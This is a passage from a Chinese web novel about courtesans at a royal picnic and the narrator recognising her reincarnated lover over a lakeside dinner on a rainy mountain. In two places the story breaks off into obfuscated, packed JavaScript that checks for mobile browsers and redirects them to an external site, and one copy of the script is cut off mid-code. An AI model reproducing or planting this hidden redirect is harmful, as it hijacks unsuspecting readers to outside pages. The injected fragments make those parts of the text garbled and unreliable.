林娘子对万三道:“你姐姐方才来说,一会儿咱们也参加惠王的野宴,你披散着头发不好,瞧着不爽利也热得慌,我帮你束起来吧。姐妹们也都打扮一番吧。” 姑娘们出行也都带着随身妆奁,借车夕阳的余辉,对镜相互装扮。 “以后要做娘亲了,可别这么疯浪了,等孩子长大了,该觉得你丢人了,你但凡端庄些,刚才长安君也拉不下脸。”林娘子情真意切道。 其他姑娘听了也都记在心里,不自觉的挺直了腰板,妆也化的越发庄重淡雅。是啊,以后她们都是要做娘的人了,别人轻贱她们不算什么,她们自己得抬举自己。 万三端了端做官家小姐时候的派头,只觉累得慌,就又瘫软下来。头发梳好了,万三瞧着镜子里清清爽爽干干净净的自己,忽然就不高兴了,当即拔下发簪,散了青丝,把帽子随意一戴。 “做什么又疯起来了?冰清玉洁的小郎君多好看啊。”姑娘们不懂。 万三“哼”了一声,自嘲道:“冰清玉洁?我这种人,别脏了这四个字儿。”婊子就是婊子,做过一天也是婊子,被一个人包养,也是婊子,嫁不进人家的门,更生不得他家血脉的孩子。 万三心里的苦,无人明白,只是姐妹们比她还惨,她再叫苦不迭,不光太矫情了,还是在姐妹们心口上捅刀子。她走到围栏边,看着还在滴血的野鸡,愣神。 她今日带了风筝,这会儿暑气下了,倒想放一会儿,转头看见一个换值的守卫正与姐妹们攀谈。姑娘们问那守卫何方人士,家里都有什么人。那年轻的守卫一一作答。 ****** 柳延年打着响指,教堂邑夫和郑清跳他新创作的进行曲舞步,舞步慵懒自由,稳健优雅,流畅有力,节拍简单轻松,我和花铁铁平安看了几眼就学会了,在夕阳下我们欢快的跳着。 好好地舞姿,柳延年跳得骚气冲天的,堂邑夫也有样学样,倒不失风趣,于是大家看着夕阳下自己的样子,放肆夸张地扭着,哈哈笑起来…… 万三从马上取了风筝来找平安。两人找了一块儿空地,将风筝高高放起来。 我和花铁铁坐在围栏上,望着她们,只觉得画面很美。 花铁铁说三三和别人不一样。 我说,是有些不一样的,听李大娘子说,三三一入了教坊司,就立誓说既然躲不开做婊子,那便要做天下最浪的婊子,但她青梅竹马的崔公子,没给她机会,没等她挂牌子就把她包养起来了。 崔公子的崔,是老唐八大世家之一,即便万三不沦落青楼,配他也是高攀。 不久他们便珠胎暗结,崔家坚决不许血脉有污,便用红花强行打掉了他们的孩子。为了保住万三一命,崔公子只能屈服。 那是个心高气傲的青年才俊,说是惊才绝艳也不为过,如此不世出的人才,堪称家族中兴的希望。十年来,崔家族老逮着万三这个把柄,总是驱使崔公子做不想做的事,久而久之抑郁成疴,前年病死,给万三留了半数私产,若不是崔公子死了,万三断不会跟着姐妹们来北汉。 论起来,花小楼的姑娘并非南唐寻常官家女子,都是钟鸣鼎食的名门望族,有的甚至是老唐时期便兴盛长存的世族,就拿万大娘子和万三来说,她们家可是有名的后族,出过两任皇后,和数位宠妃。还有那今日没来的张娘子,家里更是出过九位皇后与宫妃…… 十年前唐宫政变,李氏皇族凋零殆尽,所谓城门失火,殃及池鱼,她们的家族,便是被殃及的池鱼,族中男人们一律处死,女眷全部没入教坊司…… 花铁铁悲戚哀婉,说:“那我们还真是很有些渊源呢,她们的祖上,和我祖上,大概曾同朝为官,兴许是关系很好的同侪,或者是见面眼红的政敌,唉……到如今,千百年的望族,竟都剩下一两个女子,残存的一丝血脉了。” 谁说不是呢?我哽了哽。 平安跑累了,回来和我们一起坐在围栏上歇歇,看万三放风筝。 那三个男人也跳累了,郑清坐在平安身边,堂邑夫坐在花铁铁身边,柳延年就把我抱过去和他一起坐。 结果这个废物,上围栏的时候不小心失去平衡,往后一仰,手跟着一扒拉,连累我们一连串的人,都摔倒了。 平安有郑清护着,摔在怀里,坐起身来就嗔问,都是江湖上数一数二的高手了,怎么还会摔啊。 因为有头猪啊,功夫再好,也抵不住内部的拖累。 周围看热闹的人哈哈笑起来,我们也跟着笑了起来。 万三回头看我,一疏忽,手中的风筝线就给扯断了,她慌里慌张扶着帽子,跑去捡风筝,却见一阵骚动,是豆如意的马惊了,疯了一样直冲冲地朝着万三奔驰而去。 那马身后跟了豆如意等一群人在追,可眼见来不及了,马儿马上就要撞到万三,把她踩踏死了。平安吓得捂眼哭着大叫起来,我们离得远,轻功再好也无济于事,花铁铁立即搭弓射马。 “且慢!”林娘子高声呵止:“莫伤了那马的性命,三三马术好得很,应付得了。” 话音未落,却见三三侧身一躲,抬手抓出马鞍,一个旋子上了马背,动作干净利落,一气呵成,然后绝尘而去…… 我们不禁拍手叫好。 林娘子很为万三骄傲,道:“三三的马术是崔公子手把手教的,以前也遇上过马惊,三三吓得哭,崔公子就和她一起练习制服受惊马匹的技艺,直到她学会为止。” 方才上马的时候,万三的帽子甩飞了,长发随风飘着,这会儿她骑着已经镇定下来,异常温驯的马儿回来,俨然如仙子下凡一般。 动静这般大,帐子里的上位者们也出来了。见此景,眼中不乏赞赏。 万三在草场上溜了一圈,才将马儿交还给豆如意。她下马的姿势很漂亮,惊艳一群郎君。 可是她的风筝被这些追马的人踩坏了。万三捡起残破的风筝,有些伤心,噘着嘴巴,一手拿着风筝,一手接过豆如意上前递过来的帽子,在自己的腿上掸了掸,往脑袋上随意一扣,头也不回的转身离开,留下一众郎君。 平安只觉得她潇洒又帅气,跑着迎上去关切询问,又温柔安慰。 原是刚才有一处篝火倒了,激起的火花,豆如意的马离得近,便被吓到了。 万三说风筝拿回去修一下还能飞,只是气恼,那些人没长眼吗?这么大风筝看不见,给踩成这样!! 万三往地垫上一躺,见那搭讪的护卫还在与林娘子攀谈,就有些恼,黑着脸冷声道:“你既然换值了,就赶紧下去歇着,一会儿轮值上岗累了,又怪是姐姐们缠着与你闲话,耽误了你休息。” 她这么撵人是很无礼的,年轻的守卫顿时脸红,有些窘迫,语无伦次起来。 林娘子呵呵笑着,“小哥哥莫慌张,别听她胡说,她是风筝坏了,拿你出气的!” 守卫缓和下来,坦然道:“我是舍不得下去休息的,姐姐这样的人,我这辈子怕也只能见这一面。” 姑娘们呵呵笑起来。 “真是个小傻子,刚才你与我闲聊,我问你什么你就答什么,身家性命都交代的门清,倒是个实诚人。那我也跟你说些知心话吧。嗯……”林娘子歪着头端详着,想了一会儿,道:“你小小年纪便任了兰翎长(从九品),是个有出息的,以后有机会上升,心别太大,就老老实实做个纯臣,切莫去碰政治。 政治是人中龙凤用来角逐较量的东西,不是大家族里自小培养,在权谋里浸泡出来的,可沾不得。你家世背景都一般,别太贪心只管打好基础,好好培养儿子,如此苦心经营三代定有大成就。可万万记得一点,男人爬的越高,便越要小心谨慎,千万别犯事,不然妻女,便会落得我们这种下场。” 不等守卫应下道谢,万三先开口道:“哼,他凭什么家世,哪有机会犯牵连妻女那么大的错?” 林娘子用扇子扇了一下万三,又对那守卫问道:“你记下了?” “记下了,姐姐说的话真好听,真有道理。”守卫合手一礼。 林娘子掩面轻笑,道:“要不我们怎么贵呢?要知道在南唐跟我们喝杯茶,就要五百两银子,在花小楼也要二百两银子呢,你这一会儿三四盏茶也多了,呵呵呵……” 守卫一惊,旋即又上了一礼,“叨扰了。” “既然知道叨扰了,还不退下?”万三傲娇道。 守卫也不恼,只端礼告辞退下。 林娘子叫住他,他转身却见林娘子掀开了围帽,对着他莞尔一笑,夕阳的余辉给林娘子镀了一层金光,把他看痴了。 姑娘们看他像个呆鹅一样,就哈哈笑起来,他才惊醒,红着脸走了。 “你跟他废话那么多作甚?”万三不理解,“还给他见你真容?” “这人是个清撤坦荡的君子,知道咱们是干什么的,既不轻贱也低媚,只是觉得咱们是开好的花儿,便驻足欣赏,既解风情又不沾色欲,言行举止也有分寸,以后会是个大人物。”林娘子道。 万三摇摇头,“我不会看人,你说什么就是什么吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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姑娘们聪慧,一听是惠王的贵客,又见是坐在上席上,稍稍一愣,便猜了个大概。随即相互交换眼神,摘了围帽放在一边,然后起身排好位次,迈着南唐宫步款款上前。 万大娘子见妹妹万三还在趴在垫子上,看着远处发呆,就给末尾的虫虫姑娘使了个眼色。虫虫姑娘会意,转身回去拉着万三过来,排在最后。 万三跟着众姑娘们行了一个跪拜礼,就要起身,结果发现众位姊妹,还在叩首,她起身一半,就慌张地跪回去,快速地把少磕的头补上。 见姊妹们起身,她也起身,以为行礼结束了,扭身就走,不料姐妹们又再次跪下叩首。她赶紧快步回去,一个滑跪,跟着磕头,却把帽子磕飞了。万三旁若无人地趴过去将帽子捡回来,慌张戴上,接着磕头,可是这帽子偏和她作对,一磕一掉…… 万三头上沾了一些草屑,扶着帽子,在整齐的队列里滥竽充数,显得十分扎眼。 李大娘子和万大娘子面如死灰,汗流浃背,尴尬不已,本来姑娘们玲珑心思,给上位者行了三跪九拜之礼,露露脸儿,讨一份儿恩典,不成想在万三这里闹了笑话。就想着要不要请旨把她拉下去砍了,谢罪…… 上位者们如俯瞰众生的神明,并不觉得冒犯,倒觉得怪有意思的,都憋着笑的样子,一脸仁慈。 花铁铁看着万三,问我:“她在干什么?” “和你一样,闹笑话。”我说。 惠王看着心情还不错的皇帝刘景,朗声叫赏,姑娘们谢恩,便福身退下。 退下来的万三,小声埋怨姐妹们也不提前通知她要行大礼,林娘子只叫她一边凉快去吧,可别把姐妹们连累死了还不自知。 万三觉得自己被孤立了,走到远处,独自伤心。 豆如意,庄助他们正在烤玉米,万三就站在五步开外,歪头看看他们,再看看他们烤的玉米,然后低头,用脚踢地上的石头,用足尖的鞋底碾着野草,然后又看看他们,再看看他们烤的玉米,反复如此…… 豆如意庄助他们几个男的,和傻子一样,相互对视,然后顺着万三的眼神,看了看手中的玉米,再看看万三,再互相对视……一脸蒙圈的样子。 万三到底是个绝世大美人,被这样的美人盯着看,他们紧张是在所难免的,于是,玉米都有些烤糊了,也未曾察觉,就那么端着架势,认认真真的烤。 花铁铁实在看不下去了,就朝着他们那边朗声道:“几位大人,你们倒是给她一个啊。” 豆如意这才明白过来,“哦”了一声,赶紧起身过去将手里的玉米递给万三,还贴心地提醒万三小心,别烫到,万三喜笑颜开,开心的收下。 花铁铁“啧”了一声,又道:“大傻子,说给一个,就给一个啊。你们倒是多给她几个,让她拿回来给姐妹们分啊。” 94. 相认 庄助他们几个,恍然大悟,起身把玉米都送给万三,见万三拿不了,还给姑娘们送了过来。不等姑娘们道完谢,他们就红着脸转身快步离开,引得姑娘们一阵轻笑。 我见豆如意他们又重新烤玉米,便提醒道:“嘿,她们分这几个就够了,你们要是不吃,就别烤了,回头再把姑娘们撑着。” 豆如意,庄助他们闻言,赶紧放下玉米,开始烤别的。 呵呵,真是傻的可爱。 平安轻笑道:幸好提醒了,不然姑娘们今晚野宴啥也吃不上了,就跟玉米干上了。 鼓点响起,堂邑夫柳延年郑清,一曲《登高》,正式拉开野宴的帷幕。 如此佳作,唱得众人振奋,韩燕熙他们都是出身学宫的学子,精通君子六艺,乐律自不在话下,《登高》唱到第二段的时候,他们就能打着节拍,跟着合唱了。 接着几首大气华丽的舞乐,然后是温婉曼妙的歌谣,乐曲伴奏,席间众人们开始饮酒作乐,开怀畅谈…… 野宴过半,我脑子晕呼呼的,只觉得这些歌听着都不尽兴,便嚷嚷着:“谁要听这些,我要听情歌。” 呵呵,小不点儿,还要听情歌。不知是谁的笑语。 林娘子问:“长安君,要听什么情歌儿。” “十八摸!” 姑娘们一愣! “你没喝酒,怎么还醉了呢,也不看看什么场合,这要是给你唱了,顶多唱到三摸,就拉下去砍头了。”花铁铁仰头干了一杯酒,道。 我摇了摇头,脑子陡然清醒过来,又惊又气,道:“我草,你少喝点吧,我坐你身边,光闻酒味儿,就醉得说胡话了。”好在席上热闹,我们坐在末席,又有伴乐,方才那些难登大雅之堂的话,听见的人不多。 “是说胡话,还是说真话啊?”另一边平安趴在我耳边小声道:“长安,你最近怪怪的,浑身散发着粉红色的泡泡,好像在恋爱哦。” “什么泡泡,连七八糟,你也少喝点吧!”我从平安和花铁铁中间退出来,把醉醺醺的平安推进花铁铁怀里。 我真是服了,这俩酒蒙子一杯一杯的喝,竟然把坐在她俩中间的我干醉了。我还是赶紧躲吧! 这时,微醺的万三凑到我身边来,道:“长安君,十八摸我最会唱了,你叫我一声娘亲,我给你唱。” “别听她的,她才不会唱呢。”姑娘们小声提醒道:“她诓你的。” “我会,我就会!”万三狡辩。 “且不说你会不会,就问你有娘给儿子唱十八摸的吗?”我真是无语死了。 台上李大娘子琵琶乐起,唱了一首深情缱绻的《花好月圆》,勉强算是满足我的心愿,着重示意我们别闹了。 野宴不能太晚,最后一首《难忘今宵》,明月才上柳梢头,我们便结束了今日的狂欢…… 那夜,花铁铁喝的多了些,她在和过去告别,堂邑夫没有劝她少喝,还破了酒戒陪着她喝了一杯。我知道那是他在为他们美好的将来祝愿。 平安和柳延年喝的也不少,他们并不完全属于这个世界,心里也装了不少事,需要借酒消愁。 第二天,一大早,薛环就来找我,平安贪睡还没醒,花铁铁和郑清柳延年他们在书芳园做早课。 齐王惠王他们正在洗漱更衣,等不及和他们一道用早膳,我一声不响,随手拿了两个包子,便跟着薛环出府,骑马跑了。 南山这边我还是第一次来,在半山腰上,能看见整个长安城。我们刚到山居小院,天就阴上来,淅淅沥沥的下起雨来。可这一点也不妨碍我的好心情。 薛环给我化了妆,梳好发髻,我就不停地换着好看的裙子和鞋子,最后累了,就和薛环躺在凉台中的贵妃榻上,听雨。 雨滴敲打在瓦片和窗棱上,聚成小流哗啦啦淌着…… 六月末的山上气温原本就凉爽,下了雨,竟有些微冷。 我紧紧缩在薛环怀里,好温暖哪,我喜欢啊,就这么静静躺着,什么都不想,什么都不说,就这么岁月静好的躺在一起。 不知过了多久,我转头看向薛环,却见那俊美的脸庞,凤眸微睁,高挺的鼻梁,薄唇勾着一抹笑,刀削一般的下巴,干净整洁的胡青,还有我最喜欢的喉结……逐渐熟悉,变得清晰! “是你!” 他笑着把我领到镜子前,镜子是山居房中的镜子,照出来的却是无乾神君晓天镜里我的长大的样子。 “长安,你长大的样子真美真好看!” 他从我身后,紧紧抱住我,在我耳边轻轻一吻,他的胡青摩挲着我的颈子,我整个人都随着战栗,发烫起来,呼吸变得急促,我侧头想去接住他的吻,他却笑着躲开了。 “你答应过我的下辈子,别忘了。”说完这句话,他就瞬间化成了齑粉,消失的无影无踪。 只有那句“别忘了”,回荡在空中。 “予明,予明……” 我定睛去找寻他的踪迹,却见周围都是黑暗,我害怕了,不断的叫着他的字。 忽然,我扑空出去,竟是从卧室的床上摔了下来,啊!原来是梦! 外面的薛环听见动静,立刻进来,见我在地上,快走了两步过来将我抱回床上,嘴里温柔的责怪:“睡觉也不老实,怎么从床上翻下来了?” 我摸了一下额头,都是汗水,薛环起身拿了一块毛巾给我擦拭。 “我做了一个梦。” “噩梦?” 我摇摇头,又点点头,又摇摇头。 梦见他,怎么可能是噩梦呢,可梦里的他,又如那日一样化成飞灰不见,怎么不算是噩梦呢?可还能在梦里与他相见,总归是好的吧? “天快黑了吗?竟然一觉睡到这时候了。”我抬头看着窗外,雨依旧淅淅沥沥的下着,不大也不小,一点没有要停的样子。 “阴天,天黑的早些,才申时五刻,吃完饭,我们就下山。”薛环道。 我看了一下水钟,果然时辰还早,又看了看窗外,道:“夜雨山路难行,也没什么要紧的事儿必须赶回去……咱们留宿吧,我喜欢这里,想在这里住一晚。” “好。”薛环点点头,道:“我在做晚饭,一起啊。” 小厨房和堂屋有一个扶梯小连廊,薛环牵着我的手,走进满是烟火气的厨房。 他炖了排骨汤,煮了白米饭,还做了几道小菜,我看了一圈,道:“这不就好了吗?还有什么要做的?” 薛环拉着我走到锅灶前蹲下,往里看,“荷叶鸡?”我兴奋道。 薛环笑了笑,道:“把饭菜端进屋去,我这儿马上就好了。” 我“嗯嗯”着拒绝他的提议,说:“我想和你一起。” “好。” 大约过了半刻,薛环就用铲子将荷叶鸡从灶底掏出来。稍稍晾凉,便用铲子将外面的黄泥敲碎,热气混着香味扑面而来。 打开荷叶,脆皮酥香,鲜嫩多汁的肥鸡就展现在眼前。 我忍不住“哇”了一声,吞了一下口水,站在一边,看着薛环将荷叶鸡装盘,我和他一起将所有饭菜端到正屋的餐桌上摆好。 坐定,薛环撕了一块鸡腿肉,在嘴边吹凉,然后喂给我。 “啊呜……嗯?这是……这味道……”怎么和花铁铁当年给我赔礼道歉的荷叶鸡一个味儿? 我大脑快速的运转,聪慧如我,好多事情,在这一刻忽然都串了起来,一切疑惑都说的通了,只有一件事无法解释,那就是薛环怎么会做出,味道一模一样的荷叶鸡。 难道是鬼城特产的风味吗?出身鬼城的人都会做? “怎么了?”薛环眼里闪过一丝期翼。 “这个味道……很好。”我顿了顿道:“有一次,花铁铁惹我生了好大的气,她就拿荷叶鸡跟我道歉,我吃了觉得简直是人间美味,便原谅了她。我以前还以为是她做的,她也说她会做。 可后来几次三番,她不是搞砸炸坏了厨房,就是做得差强人意,最后我几乎可以判定,她根本不会做什么荷叶鸡,堂邑夫做的都比她做的好吃。 她就会和泥,用荷叶把鸡包上上火烧而已。真正能把荷叶鸡做出原汁原味的……除了你,就是……他了。” 我看着外面的雨,思绪飘远。 呵,当年花铁铁给我道歉,哄我开心的荷叶鸡,就是杜晦做的啊,堂邑夫也知道此事真相,只是见我和花铁铁和好了,就没再多嘴节外生枝。他事后应该找杜晦学了,但是没学到家,味道差了好多。 “他是谁?”薛环问。 我回过神来,低下头,不语,许久,拿起筷子,道:“快吃吧,一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15141298|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该凉了。” 说完,我吃了一口菜,熟悉的味道在口腔中炸开,舌尖上沉睡的味蕾瞬间苏醒,叫嚣着不断地刺激着我的神经,唤醒我脑海中深藏的记忆,眼泪瞬间涌了出来。 “……你,你到底是……是谁啊?” 这菜的味道,根本和杜晦的手艺如出一辙。荷叶鸡,我可以想理由说服自己,可是这菜,我没道理狡辩。 “你,觉得我是谁?”薛环身子微微颤着,拿着碗筷的手,不住地抖着。 “我……可是他已经死了,已经死了!”我起身,冲进雨里,才敢放肆的让泪水决堤。 薛环紧随身后,陪着我站在雨里。 好久好久,我才安定下来,牵着薛环回到屋里,催动内力,震干了我们身上的雨水。拿起碗筷,眼泪还是止不住,但我没再去雨里偷着哭了,只又哭又笑着把饭菜席卷一空。 薛环也哭了,哭着哭着就笑了,笑着笑着又哭了。 “就算变了样子,灵魂也能相认。” “怕吗?” “不怕!” 挂着眼泪,相对一笑,尽在不言中。 说不怕是假的,认出他的那一刻,我着实被吓到了,只是立刻便被涌上来的惊喜冲掉了,然后就都是庆幸,这一路走来我们都太难了,再稀奇古怪的事儿,都不算什么,只要我们还能再见面,还能在一起,就好。 饭后,我们一起收拾桌子,洗碗,清理厨房,最后坐在灶前烧洗澡水。 火光照的薛环眸子更加闪亮,我抬头看着他,深深地看着他,我伸手一遍一遍的勾勒他的轮廓,这张稚嫩的脸,慢慢变了样子…… 我第一次见杜晦的时候,他十七岁,我不知道他十二三岁时候的样子,但我感觉应该就是眼前这个样子。都说相由心生,原来□□的样子真的会跟着灵魂长。 我轻轻抬起下巴,“亲亲我,可以吗?” 薛环有些悸动,看着我的眉眼,看着我的小鼻子,然后看着我的小嘴巴,最后在我的额头上轻轻一吻。 我有些不开心,指了指嘴巴,强调道:“亲这里。”然后又扬了扬下巴,撅了撅嘴巴,闭上眼等他来亲。 薛环却被我可爱到了,忍俊不禁的笑着,将我揽入怀里,“小傻瓜。” “为什么?” “什么为什么?” “为什么不亲亲我?” “不为什么。” 呵,果然是个咬脐郎,天生的犟种,真犟啊! 后来他告诉我,之所以坚决不同意亲我小嘴巴,是因为在我没明确的认出他之前,他没办法用另一个人的身份和姓名吻我。 我问他,要是我一直没认出来,或者一直不肯说出口呢?你就不能直接告诉我吗? 他说,不能。如果他自己说,那便是泄露天机,是要遭天罚的,后果他一定承受不起,甚至收回这次重返人间的机会也说不定。 是以,他不能做任何解释,也不能提出任意请求,一定要我自己认出他,并且明确的说出来,他才可以成为原原本本的他。 否则,他便一辈子都是薛环。 就像一个封印,若是没被打开,他前世的身份就永远被封在里面。 他说,如果我一直认不出他,那便是他做得还不够。 我道他已经做得很好了,是我一直没勇气确定,没早一点认出他,让他久等了,会不会很失望。他却笑着说我比他预期中的还要更早一些,我不仅没让他失望,反而很让他惊喜,他心里眼里的我永远都是最好的,值得他历尽千辛万苦的回来。 我感动的扑进他的怀里,差点将他原本的名字宣之于口,只是我那时太过贴心以为他还有什么难言之隐,毕竟他的情况和平安,柳延年很不一样,世人都很忌讳借尸还魂的,因此异常谨慎,不敢轻举妄动。于是那个名字,都到了嘴边了,我也坚决地选择咽了回去,并小心翼翼替他瞒着。 所以,阴差阳错,即便我认出了他,也并没有喊出“杜晦”二字。秉持着心照不宣的默契,私以为和他心有灵犀,心意相通,且为此沾沾自喜,感叹自己那么的善解人意。 而当时的他,也以为我既已经认出他,一定会将他真正的姓名脱口而出,就算今天太兴奋了,没叫出口,明天也会,却不想这一等就是好多年。 95. 栀子 沐浴更衣,我们躺在床上。床头焚的是栀子香,我这人没什么特别喜欢的香,不论浓的淡的,雅的俗的,只要是香的我就很喜欢。 杜晦是喜欢栀子花香的,可是从前我们是江湖人,总是要做任务,比不得那些闲人雅士,身上是不能带香气的,于是他几乎不沾香,我只记得他曾在盛开的栀子花树前停留过片刻,也曾在南唐茶楼吃茶的时候,夸赞过那里的栀子香不错,向店家打听何处有卖,却不曾真的去买。 于是,有一次我做任务回去,看见一株野栀子开在谷中,便不辞辛苦移了回去,亲手栽在他卧房窗前。 他笑着说送君栀子,愿君知子,栀子花是不能轻易送人的。 我并不知道这其中有什么讲究,只嘴硬说我知道啊,可是好闻啊。 他摇着头,笑了笑,不再多说。 花都开好的时候,他便到别的院子居住,做任务回来,也只去房顶上,远远的闻一闻风带过来的,若有似无的香气,对那株栀子花,从不近身。花落了,他倒精心莳弄伺候起来,说来年会开得更好。解释他为何那么上心,也对来年许下美好的祝愿。 如今,我们倒可以大大方方的焚香,安安静静的享受这沁人的芬芳了。 心里太开心,也会很难睡安稳的,辗转反侧,便会多思多虑,“我的病,真的有办法吗?” “放心,我一定治好你。” “嗯!” 我深信不疑,自打我认识他,便从来没见过有什么能够难住他。即便遭遇那般不幸,他都活了下来,即便后来他自戕死了,也还能再次回到人世间来,那还有什么是他不能的呢? 如果说天子是尘世间的神明,那他在我心里,便是比神明还强大的存在。 “我是那日你死之前,问我说‘下辈子可不可以’的时候,才知道,你其实是喜爱我的。” 我低着头,脸上有些发烫,心中是窃喜的,少女的羞涩涌上心头,顿了顿,正想切入主题,便听薛环柔声问道:“那你是什么时候喜欢我的呢?” 啊……这句是我接下来想问的! 被抢白了,我滞了一下,想了想,摇了摇头,老老实实地回答:“不知道,我从小就崇拜你,没想过可以喜欢你,后来我生病了,根本长不大,便也没机会没资格说喜欢啊,我真的从来都没想过…… 当然,身体不再长大,灵魂也会情窦初开,我路过代国的时候,觉得陌上人如玉的齐王挺好的,后来上郡李家那小子丰神俊朗,也叫我心动不已,然后我觉得文质儒雅的惠王也不错,最让我痴迷的还得是温柔随和的太子殿下了…… 总之啊,就是没想过喜欢你,一点念头也没有。 直到前世的你死前,要我应了你一个承诺。 我当时心里震动,不自觉留下了一个印记,仿佛有什么东西生根发芽了,可我以为那只是对你离世的难过和不舍……所有得情绪终究随着你的离去,被我全部按下,我怕伤心怕懊悔怕遗憾,便没敢当回事儿,再细细品了。(我怕会像花铁铁那样) 之后就遇见了现在的你,起初是茫然疑惑的,只觉得好熟悉啊,恍惚间前世的你回来了,但我哪敢轻易断定啊。 从鬼城出来以后,我就更加不经意的老是想起现在的你,每次想起你,就心烦意乱的,甚至有些气恼,要知道在我心里前世的你是独一无二不可替代的,我根本不允许这世上还有类似你的人出现,我就强迫自己不再去想起现在的这个你了。 再次相遇,得知你为了给我治病默默付出奔波劳苦,我感动的无以言表,内心对你有了极大的改观。紧接着在秦岭的树屋,你就趁热打铁跟我表白说你喜欢我,说不论我什么样子你都喜欢我…… 要知道,我这样子是没有人喜爱的,我以为一辈子都没人喜欢我了。 我就想着,若这世间有一个和前世的你这般相像的人,爱我,那我只当是你回来爱我了,欣然接受也很好。当然我对现在的你也是真心诚意的托付,没有虚情假意想着利用代替以解相思。 可是,你们太像了,渐渐地我分不清你到底是谁了,直到昨天,你给了我这个家,我便彻底分不清,也不想分清了,我甚至还感谢上苍,感谢它对我不薄。于是我……我打算彻底忘记前世的你,和那个你彻底告别了。 我下了那决心,要把你忘了,所以,我当时心情突然就不高兴了,不光是因为我自己的病,还因为……我打算好好喜欢,好好爱薛环了。我只想着薛环对我太好太好了,我不能辜负他,岂不知……换了样子,从头再来一遍,我爱上的还是你,只是你。” 薛环神情跟着我的话语变换,红着眼睛,梗了梗喉头,最后温柔的笑起来。 “可是你回来了,那真正的薛环,哪儿去了呢?”我轻声问。 薛环脸上的笑意未减,并不回答,只抚着我的小脸蛋儿,捋着我的碎发。 “还不能说吗?” 薛环点点头,“是对那孩子感到抱歉了吗?”见我默认,薛环叹了口气,道:“不要感觉抱歉,人各有命而已。你只要记着,若我不回来,靠近你,爱你,用心对你,你也不会喜欢上薛环。从始至终,能让你动心的就只有我,你爱上的也从来是我。至于其他的你不要想,也不要问,时机到了,我会和你说的。” 是的,若不是他回来了,我和薛环的交集,除了差遣他做一些他力所能及的事儿,还能有什么呢?想到这里,我认可地点点头,“嗯!”复又抬眼看着他明闪闪的眸子,问:“我什么样子你都喜欢都爱对吗?” “是的,正如我不论变换了什么身份和样貌,你都爱都喜欢一样。” “在树屋的时候,我问你什么时候喜欢我的,你说上辈子就喜欢,这么看来果然是上辈子,只是上辈子,你是什么时候开始喜欢我的呢?”我认真地问。 我是自卑的,我是疑惑的,我不是怀疑他这份明确的感情,而是对自己难以置信,毕竟那样的我,怎么可能…… 我不经自问,我是不是还在睡啊,果然梦里什么都有。 “嗯,一开始只是为了偿还你师父的恩情,他将你托付给我,我好生照顾着你,没多想。后来我混出名堂,年纪大了,便有人上门说亲了,我就开始考虑这些事儿了,不知怎的,我鬼使神差把所有的亲事都给推拒了,只因心里仿佛有了期翼,等着一个人长大……那份感情一直不明朗,我不想挑明,也一直刻意模糊着。” 他想说,那时候不知道我病着,只以为我长得太慢了,怕过早表露心迹,吓到我,就只是慢慢等着。 薛环说着顿了顿,“直到听说鬼门散了,你死在上郡了,我才后知后觉我竟……那么那么的,深爱着你,远远超出我的想象,我便发了疯一样,着急赶去上郡探知真相,不幸中了埋伏。” 想到前世他被害的那么惨,我泪流满面,“对不起,原是我不好,你那么理智的一个人……对不起,我……”我那时对自己的病,心灰意冷,是想从此消失,跟过去彻底告别的,却不料…… “不是你的错,不要自责,不要哭,别难过,我会心疼。”薛环将我紧紧的抱在怀里,安抚着,道:“真的不是你的错,是我的错,到底是我胆怯了,呵呵,想不到吧,我也有胆怯的时候吧。 怎么会不胆怯呢?我大你十岁,你又一直是个孩子模样,我不敢喜欢你,我怕别人说我有怪癖,也怕你以为我有怪癖,更怕别人误以为你是我养的娈童,损你清誉。 可是,现在我不怕了,我不能再因为别人的眼光,和你的病,畏手畏脚错过你了,长安,我想好了,我一定治好你,倘若治不好你,我便让这身子也不再长大,一辈子这个模样守着你伴着你。” 我懂他说的那种胆怯,这病真是煎熬死人了,让我不敢爱别人,也让别人不敢爱我。我被画地为牢困在里面,闯进来的也只有死过一次的杜晦,上天对我不薄了,我不能怨恨…… 呜咽良久,我眼睛哭成桃子一样,支起上半身,看着薛环认真道:“给那孩子立个冢吧,好歹来过这个世上,成全你我再续前缘,这么大的恩情,咱们不能轻轻揭过了。” “好!” 一夜好梦,第二日我们在后山一处风景极佳的地方,给“薛环”建了一座坟茔,祝愿他早入轮回,投到富贵人家,父母双全,无灾无病,长命百岁。 雨后山路难行,我们也享受在一块儿的时光,走得极慢,快晌午了我们才回到长安城,与薛环依依不舍,分道扬镳,他回了学宫,我捧着沿途采的花儿,骑着马儿回了安园。 跑着进了梧桐园,利落地取来花瓶,将野花插好,放在卧室的窗台边,躺在床上,静静欣赏。 书芳园那边,庄先生一叫下课,花铁铁便飞身进了我的屋,揪住我就问夜不归宿去哪了。我说去给主子办事儿了,她便不好多问,只能满脸狐疑的放过我,嘴上嘀咕着:“办的什么差事,昨个下了一天一夜的雨,还弄的一身……”她扇动鼻翼,轻轻嗅了嗅,“哪来的栀子香气?” 我不理她,她看着窗台上的花,眯了眯眼。 隔壁平安院子的水车哗啦啦的,像下雨的声音,伴着她的钢琴曲一起传过来。这首曲子最适合在夏日蝉鸣的午后倾听,温柔,舒缓,宁静,悠扬,如梦幻缥缈,轻易抚慰人心……只是名字有些奇怪,叫什么“拉了白”。 曲子停了,花铁铁忽然拍了拍闭目养神的我,道:“嗨,起来别睡了,上午出的告示说今年学宫大考,加了一项台球比赛,学宫的台球馆登时就满了,柳延年在万园街的台球园给堂邑夫留了包间,叫咱们一同去陪练,我正好学学怎么打台球,走吧!” 那薛环是不是也跟着去?“走!”我一个鲤鱼打挺,起身下床。 